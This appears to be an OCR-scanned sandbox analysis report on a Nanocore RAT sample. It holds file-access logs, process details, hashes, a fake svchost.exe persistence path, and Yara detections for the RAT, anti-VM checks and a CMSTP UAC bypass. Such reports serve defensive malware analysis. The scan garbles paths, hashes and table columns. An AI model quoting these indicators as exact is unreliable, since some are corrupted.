C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C151B4F ReadFile
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6C151B4F ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C151B4F ReadFile
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 7 6C151B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 682 end of file 1 6C151B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C151B4F ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1l

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 142 6C151B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 993 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6C151B4F ReadFile
et\1.0.0.1\PSModule.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C151B4F ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534 end of file 1 6C151B4F ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C151B4F ReadFile
.PowerShell. Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 success or wait 1 6C151B4F ReadFile
oundTask\AppBackgroundTask.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 end of file 1 6C151B4F ReadFile
oundTask\AppBackgroundTask.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\AppLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 990 end of file 1 6C151B4F ReadFile
\AppLocker.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 4096 end of file 1 6C151B4F ReadFile
\AppLocker.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\AppLocker.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker unknown 990 end of file 1 6C151B4F ReadFile
\AppLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 success or wait 1 6C151B4F ReadFile

t\AppvClient.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 end of file 1 6C151B4F ReadFile
t\AppvClient.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 success or wait 1 6C151B4F ReadFile
t\AppvClient.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClien unknown 4096 end of file 1 6C151B4F ReadFile
t\AppvClient.psdl
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DCO03DE ReadFile
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DC0O03DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DCO03DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DCO03DE ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DCO03DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx unknown 4096 success or wait 1 6C151B4F ReadFile
.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx unknown 4096 end of file 1 6C151B4F ReadFile
.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 success or wait 1 6C151B4F ReadFile
ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 end of file 1 6C151B4F ReadFile
ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 368 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 368 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-  unknown 4096 success or wait 3 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-  unknown 770 end of file 1 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-  unknown 4096 end of file 1 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 637 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 8 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 128 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C151B4F ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6DCA5705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 368 end of file 1 6C151B4F ReadFile
\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\BitLocker\en-  unknown 4096 success or wait 3 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\BitLocker\en-  unknown 770 end of file 1 6C151B4F ReadFile
US\BitLocker.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 success or wait 73 6C151B4F ReadFile

\BitLocker.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 104 end of file 1 6C151B4F ReadFile
\BitLocker.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker unknown 4096 end of file 1 6C151B4F ReadFile
\BitLocker.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans unknown 4096 success or wait 1 6C151B4F ReadFile
fer\BitsTransfer.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans unknown 522 end of file 1 6C151B4F ReadFile
fer\BitsTransfer.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTrans unknown 4096 end of file 1 6C151B4F ReadFile
fer\BitsTransfer.psd1
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCac
he\BranchCache.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlet
s\CimCmdlets.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
Defender.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpComputerStatus.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpComputerStatus.cdxml

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

C:\Windows\SyswOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpPreference.cdxml

C:\Windows\SyswWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

C:\Windows\SysWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

C:\Windows\SyswOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreat.cdxml

C:\Windows\SysWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatCatalog.cdxml

C:\Windows\SysWOw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatCatalog.cdxml

C:\Windows\SyswWOWw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\
MSFT_MpSignature.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\Defender\
MSFT_MpSignature.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\Defender\
MSFT_MpSignature.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\Defender\
MSFT_MpWDOScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\vl.0\Modules\Defender\
MSFT_MpWDOScan.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1
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Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

4096

358

4096

4096

160

4096

4096

699

4096

4096

699

4096

4096

4096
4096
4096
4096
4096

764

4096

4096

617

4096

4096

4096

4096

4096

4096

227

4096

4096

243

4096

4096

4096

4096

637

Completion

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

success or wait
end of file
success or wait
end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

Count Source Address

1

12

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F
6C151B4F
6C151B4F
6C151B4F
6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

6C151B4F

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft

Offset

unknown

.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft

unknown

.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft

unknown

.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

Analysis Process: conhost.exe PID: 6884, Parent PID: 6748

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

9

01:50:19

21/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7c9170000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Length

4096

4096

128

Completion

end of file

success or wait

end of file

Analysis Process: Securitelnfo.com.Variant.Tedy.122593.7296.exe PID: 7024, Parent PID: 6272

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

Analysis Process: Securitelnfo.com.Variant.Tedy.122593.7296.exe

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

10
01:50:24
21/05/2022

C:\Users\user\Desktop\SecuriteInfo.com.Variant. Tedy.122593.7296.exe

false

C:\Users\user\Desktop\Securitelnfo.com.Variant. Tedy.122593.7296 .exe

0xc30000

1094656 bytes
A3F9DB216C595BBB5081AD0430248975
true

true

C, C++ or other language

low

11
01:50:27
21/05/2022

PID: 7096, Parent PID: 6272

C:\Users\user\Desktop\SecuriteInfo.com.Variant. Tedy.122593.7296.exe

true

C:\Users\user\Desktop\Securitelnfo.com.Variant. Tedy.122593.7296.exe

0xc30000

1094656 bytes
A3F9DB216C595BBB5081AD0430248975
true

true
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Count Source Address

2 6C151B4F

16 6C151B4F

2 6C151B4F

Symbol

ReadFile

ReadFile

ReadFile
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Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000002.521932129.0000000003FDB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: NanoCore, Description: unknown, Source: 0000000B.00000002.521932129.0000000003FDB000.00000004.00000800.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>
e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000B.00000002.523274728.00000000057D0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000B.00000002.523274728.00000000057D0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
Rule: MALWARE_Win_NanoCore, Description: Detects NanoCore, Source:
0000000B.00000002.523274728.00000000057D0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000B.00000000.290964179.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000000.290964179.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: NanoCore, Description: unknown, Source: 0000000B.00000000.290964179.0000000000402000.00000040.00000400.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>
e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000B.00000002.514934188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000002.514934188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: NanoCore, Description: unknown, Source: 0000000B.00000002.514934188.0000000000402000.00000040.00000400.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>
e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000002.520502243.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000B.00000002.523441756.0000000005B00000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000B.00000002.523441756.0000000005B00000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000002.523441756.0000000005B00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_NanoCore, Description: Detects NanoCore, Source:
0000000B.00000002.523441756.0000000005B00000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000B.00000000.291890743.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000000.291890743.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: NanoCore, Description: unknown, Source: 0000000B.00000000.291890743.0000000000402000.00000040.00000400.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>
e Rule: Nanocore_ RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000B.00000000.293158040.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000000.293158040.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: NanoCore, Description: unknown, Source: 0000000B.00000000.293158040.0000000000402000.00000040.00000400.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>
e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000B.00000000.293766876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000B.00000000.293766876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: NanoCore, Description: unknown, Source: 0000000B.00000000.293766876.0000000000402000.00000040.00000400.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

.

.

3

Reputation: low

Analysis Process: svchost.exe PID: 1656, Parent PID: 568

General

Target ID: 13

Start time: 01:50:29

Start date: 21/05/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase: 0x7ff73c930000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

Analysis Process: svchost.exe PID: 2476, Parent PID: 568

General

Target ID: 14
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Start time: 01:50:30
Start date: 21/05/2022
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase: 0x7ff73c930000

File size: 51288 bhytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator false

privileges:

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: svchost.exe PID: 2944, Parent PID: 568

General

Target ID: 15

Start time: 01:50:31

Start date: 21/05/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase: 0x7ff73¢930000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator false

privileges:

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: svchost.exe PID: 4768, Parent PID: 568

General

Target ID: 16

Start time: 01:50:32

Start date: 21/05/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase: 0x7ff73c930000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator false

privileges:

Programmed in: C, C++ or other language
Reputation: high

Analysis Process: svchost.exe PID: 6080, Parent PID: 568

General

Target ID: 18

Start time: 01:50:33

Start date: 21/05/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve
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Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

0x7ff73c930000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA
true

false

C, C++ or other language

Analysis Process: svchost.exe PID: 2988, Parent PID: 3968

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Antivirus matches:

19

01:50:34

21/05/2022

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe
true

"C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe"
0xa20000

1094656 bytes

A3F9DB216C595BBB5081AD0430248975

false

false

.Net C# or VB.NET

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000013.00000002.398758851.0000000003121000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source:
00000013.00000002.398758851.0000000003121000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000013.00000002.407528088.0000000004B66000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source:
00000013.00000002.407528088.0000000004B66000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: Nanocore_ RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000013.00000002.419417648.0000000007095000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000013.00000002.419417648.0000000007095000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

3

e Rule: NanoCore, Description: unknown, Source: 00000013.00000002.419417648.0000000007095000.00000004.00000800.00020000.00000000.sdmp,

Author: Kevin Breen <kevin@techanarchy.net>
e Rule: Nanocore_ RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000013.00000002.425602291.000000000711C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000013.00000002.425602291.000000000711C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: NanoCore, Description: unknown, Source: 00000013.00000002.425602291.000000000711C000.00000004.00000800.00020000.00000000.sdmp,

Author: Kevin Breen <kevin@techanarchy.net>

e Detection: 28%, Virustotal, Browse
e Detection: 30%, ReversingLabs

Analysis Process: svchost.exe PID: 1472, Parent PID: 3968

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

20

01:50:42

21/05/2022

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe
true

"C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe"
0xa20000

1094656 bytes

A3F9DB216C595BBB5081AD0430248975

false

false

.Net C# or VB.NET
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https://www.virustotal.com/gui/file/647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0/detection/f-647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0-1653071793

Yara matches: e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:

00000014.00000002.467575760.0000000006BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000014.00000002.467575760.0000000006BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: NanoCore, Description: unknown, Source: 00000014.00000002.467575760.0000000006BD5000.00000004.00000800.00020000.00000000.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000014.00000002.439849738.00000000046E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source:
00000014.00000002.439849738.00000000046E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
